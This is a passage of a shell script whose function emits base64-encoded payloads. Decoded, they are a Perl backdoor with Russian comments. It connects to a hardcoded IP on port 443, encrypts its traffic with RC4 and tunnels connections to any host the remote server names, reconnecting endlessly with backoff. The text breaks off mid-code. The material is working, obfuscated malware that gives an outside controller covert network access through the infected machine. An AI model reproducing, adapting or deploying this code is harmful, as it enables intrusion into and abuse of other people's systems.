KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_36() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODUnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
